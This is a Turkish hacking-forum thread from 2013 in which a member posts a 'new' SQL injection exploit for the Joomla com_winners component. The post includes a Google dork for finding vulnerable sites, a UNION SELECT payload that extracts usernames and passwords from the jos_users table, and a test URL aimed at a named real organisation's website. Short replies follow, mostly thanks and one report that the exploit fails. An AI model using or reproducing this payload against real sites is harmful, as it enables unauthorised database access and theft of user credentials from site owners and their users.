Turkhackteam.net/org - Turkish Hacking & Security Platform  
Geri git   Turkhackteam.net/org - Turkish Hacking & Security Platform >
Turkhackteam Under Ground
> Exploitler > Bug Researchers

Bug Researchers Yeni bulunan açıklar.



Joomla com_winners Sql İnjection THT'ye Özel

Bug Researchers

Yeni Konu aç Cevapla
 
Seçenekler
Alt 01-09-2013 19:36   #1
  • Asteğmen
  • Üye Bilgileri
Üyelik tarihi
07/2013
Nereden
uid=0(root)
Mesajlar
Konular
9

Teşekkür (Etti): 0
Teşekkür (Aldı): 11


Joomla com_winners Sql İnjection THT'ye Özel



###########################
#Explot Title:com_winner
#Google Dorl:inurlption=com_winners
#Author:Rooter & SubWay
#Target:Equator Initiative
#Sql Version:5.0.92-community-log
#Data:1 Eylül 2013 Pazar
###########################


Selamun Aleyküm Açığımız İlk Defa THT'de yayınlanmaktadır Piyasada Yeni Fakat İleride Kullanılacağına Eminim

Exploit:
Kod:
/index.php?option=com_winners&view=winner_detail&id=1/**/AND/**/1=0/**/UNION SELECT/**/1,CONCAT_WS(0x3a,username,0x3a,password),3,NULL,5,6,7,8,9,10,11,12,13,14,15/**/FROM/**/jos_users--
Test:
Kod:
http://www.equatorinitiative.org/index.php?option=com_winners&view=winner_detail&id=1/**/AND/**/1=0/**/UNION SELECT/**/1,CONCAT_WS(0x3a,username,0x3a,password),3,NULL,5,6,7,8,9,10,11,12,13,14,15/**/FROM/**/jos_users--



___________________________________________

Mevzu-u Bahis Vatan İse Gerisi Teferruattır
HacKRooT & SubWay & KaCaMax
Bizleri İzleyeme Devam Edin

Konu rooter tarafından (01-09-2013 20:13 Saat 20:13 ) değiştirilmiştir..
 Offline  
 
Alıntı ile Cevapla
Alt 01-09-2013 20:14   #2
  • Asteğmen
  • Üye Bilgileri
Üyelik tarihi
06/2012
Mesajlar
Konular
9

Teşekkür (Etti): 4
Teşekkür (Aldı): 28




İlgilenen arkadaşlar deniye bilirler



___________________________________________

Beni tanımadan konuşanlara kızmıyorum çünkü köpekler tanımadıklarına havlarlar
 Offline  
 
Alıntı ile Cevapla
Alt 01-09-2013 20:17   #3
  • Binbaşı
  • Üye Bilgileri
Üyelik tarihi
09/2012
Nereden
Hunger Games
Mesajlar
Konular

Teşekkür (Etti): 795
Teşekkür (Aldı): 420




Bugu sen bulduysan eline sağlık kardeşim fakat 2 sayfa site var hiçbirinde işlemiyor exploit.



___________________________________________

Allah'a Emanet kardeşlerim ,abilerim.

Duydumki LeBlanc nerf atmışsın rito ama unutmaki babanın s4de 2000 LeBlanc oyunu var.

The Master of LeBlanc.
 Offline  
 
Alıntı ile Cevapla
Alt 01-09-2013 20:22   #4
  • Asteğmen
  • Üye Bilgileri
Üyelik tarihi
07/2013
Nereden
uid=0(root)
Mesajlar
Konular
9

Teşekkür (Etti): 0
Teşekkür (Aldı): 11




Ben buldum. Orada belirttim zamanla kurulacaktır araştırdım eminim. Şimdilik dursun bakalım kimse çalmasın diye paylaşımımı yaptım.
Selametle;



___________________________________________

Mevzu-u Bahis Vatan İse Gerisi Teferruattır
HacKRooT & SubWay & KaCaMax
Bizleri İzleyeme Devam Edin
 Offline  
 
Alıntı ile Cevapla
Alt 06-09-2013 22:14   #5
  • Binbaşı
  • Üye Bilgileri
Üyelik tarihi
09/2012
Nereden
Hunger Games
Mesajlar
Konular

Teşekkür (Etti): 795
Teşekkür (Aldı): 420




Tasındı



___________________________________________

Allah'a Emanet kardeşlerim ,abilerim.

Duydumki LeBlanc nerf atmışsın rito ama unutmaki babanın s4de 2000 LeBlanc oyunu var.

The Master of LeBlanc.
 Offline  
 
Alıntı ile Cevapla
Alt 14-09-2013 21:46   #6
  • Teğmen
  • Üye Bilgileri
Üyelik tarihi
07/2013
Yaş
22
Mesajlar
Konular

Teşekkür (Etti): 125
Teşekkür (Aldı): 14




eyvallah kardesim



___________________________________________

HACKER

 Offline  
 
Alıntı ile Cevapla
Alt 15-09-2013 02:36   #7
  • Tasarımcı
  • Üye Bilgileri
Üyelik tarihi
05/2013
Nereden
antalya
Mesajlar
Konular

Teşekkür (Etti): 1500
Teşekkür (Aldı): 1931




eline saglık



___________________________________________

'hayattan bu kadar kopuk olmama şaşmamak gerek. eğer hislerim olsaydı bu durumda duygulanırdım'
DEXTER

 Offline  
 
Alıntı ile Cevapla
Alt 20-09-2013 17:33   #8
  • Asteğmen
  • Üye Bilgileri
Üyelik tarihi
10/2012
Nereden
Konya
Mesajlar
Konular

Teşekkür (Etti): 5
Teşekkür (Aldı): 1




özür dilerim ama index.php ye index atınca exploit yerinede index gelmiş
 Offline  
 
Alıntı ile Cevapla
Cevapla

Bookmarks

Seçenekler


Bilgilendirme Turkhackteam.net/org
Sitemizde yer alan konular üyelerimiz tarafından paylaşılmaktadır.
Bu konular yasalara uygunluk ve telif hakkı konusunda yönetimimiz tarafından kontrol edilse de, gözden kaçabilen içerikler yer alabilmektedir.
Bu tür konuları turkhackteamiletisim [at] gmail.com mail adresimize bildirebilirsiniz, konular hakkında en kısa sürede gerekli işlemler yapılacaktır.
Please Report Abuse, DMCA, Harassment, Scamming, Warez, Crack, Divx, Mp3 or any Illegal Activity to turkhackteamiletisim [at] gmail.com

Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz.
Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.



         

Powered by vBulletin® Copyright ©2000 - 2019

TSK Mehmetçik Vakfı

Türk Polis Teşkilatını Güçlendirme Vakfı

Google+
Pomeranian Boo
instagram takipci hilesi

wau